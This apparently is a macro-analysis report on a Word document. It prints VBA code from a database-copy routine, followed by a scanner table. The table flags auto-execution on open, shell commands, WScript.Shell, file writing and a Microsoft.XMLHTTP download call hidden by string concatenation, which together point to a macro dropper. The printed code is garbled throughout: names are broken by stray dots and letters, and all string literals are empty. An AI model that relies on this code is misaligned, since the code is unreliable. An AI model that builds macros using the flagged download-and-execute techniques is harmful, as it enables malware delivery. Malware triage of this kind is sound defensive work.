Const PROCEDURE_NAME As String = ""
sParam = ""
Dim oDBTable As String, oDBCol As String
With cmdString
 Set .ActiveConnection = oD.B.CnTarget
 .CommandType = adCmdText
 .Prepared = True
End With
oDBTable = oD.B.DBTables.DBTableGetByName(sTable)
sSQLSource = vbNullString: sSQLTarget = vbNullString
lColCount = oDBTa.ble.DBColumnsCount
For i = 1 To lColCount
 oDBCol = oDBTa.ble.DBColumns.DBColumns(i)
 With pr.m
 .Name = oDBC.ol.ColName
 sParam = .Name
 .Direction = adParamInput
 .Type = oDBC.ol.GetTypeTarget
 If oDBC.ol.Size > 0 Then
 .Size = oDBC.ol.Size
 End If
 If oDBC.ol.Precision > 0 Then
 .Precision = oDBC.ol.Precision
 End If
 End With
 cmdl.Parameters.Append prm
 sSQLSource = sSQLSource & "" & oDBC.ol.ColName & ""
 sSQLTarget = sSQLTarget & "" & oDBC.ol.ColName
 If i < lColCount Then
 sSQLSource = sSQLSource & ""
 sSQLTarget = sSQLTarget & ""
 End If
Next i
sParam = ""
sSQLCount = "" & sTable
If Len(oDBTlable.Query) > 0 Then
 sSQLCount = sSQLCount & "" & oDBTab.le.Query
End If
sSQLCount = sSQLCount & ""
sSQLTarget = "" & sTable & "" & sSQLSource & "" & sSQLTarget & ""
sSQLSource = "" & sSQLSource & "" & sTable
If Len(oDBTlable.Query) > 0 Then
 sSQLSource = sSQLSource & "" & oDlTable.Query
End If
sSQLSource = sSQLSource & ""
Call rlls.Open(sSQLCount, oDBl.CnSource, adOpenForwardOnly, adLockReadOnly)
If Not rlls Is Nothing Then
 lRecCount = 0: lCount = 0: lll.CommandText = sSQLTarget
 rlls.MoveFirst
 lRecCount = rllls.Fields("").Value
 Call rslll.Close
 Call oDllB.FireEvent(etOnDBEvent, eBADbEvent.dbeRecordCount, lRecCount)
 Call rlls.Open(sSQLSource, ollDB.CnSource, adOpenForwardOnly, adLockReadOnly)
 rllls.MoveFirst
 Do
 lCount = lCount + 1
 ollDB.FireEvent etOnDBEvent, eBADbEvent.dbeRecordAdded, lCount
 For Each plllrm In cmlld.Parameters
 Select Case rlls.Fields(prllm.Name).Type
 Case ADODB.DataTypeEnum.adBoolean
 prlllm.Type = rllls.Fields(prllm.Name).Type
 cmdll.Parameters(prllm.Name).Value = CBool(Val(vbNullString & rllls.Fields(prllm.Name).Value))
 Case Else
 cmdll.Parameters(prllm.Name).Value = rllls.Fields(prllm.Name).Value
 End Select
 Next plllrm
 sParaml = GetDBParamlll.etersString(cmllld)
 Call cllmd.Execute(, , adExecuteNoRecords)
 rlls.MoveNext
 If lCount Mod 100 = 0 Then
 If frllm.AppState = asStopRequest Then
 Exit Do
 End If
 End If
 Loop Until rsll.EOF
End If
llls.Close
CopyData = True
CopyDataErrExit:
On Error GoTo 0
Exit Function
CopyDataErrHandler:
CopyData = False
Resume CopyDataErrExit
End Function
Private Sub ClearControls(ByVal frm As String)
With frm
 .lvwColumnsSource.ListItems.Clear
 .lvwTableSource.ListItems.Clear
 .lvwTableTarget.ListItems.Clear
End With
End Sub






+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string |                      | ""  & ""                                |
| VBA string |                      | "" + ""                                 |
+------------+----------------------+-----------------------------------------+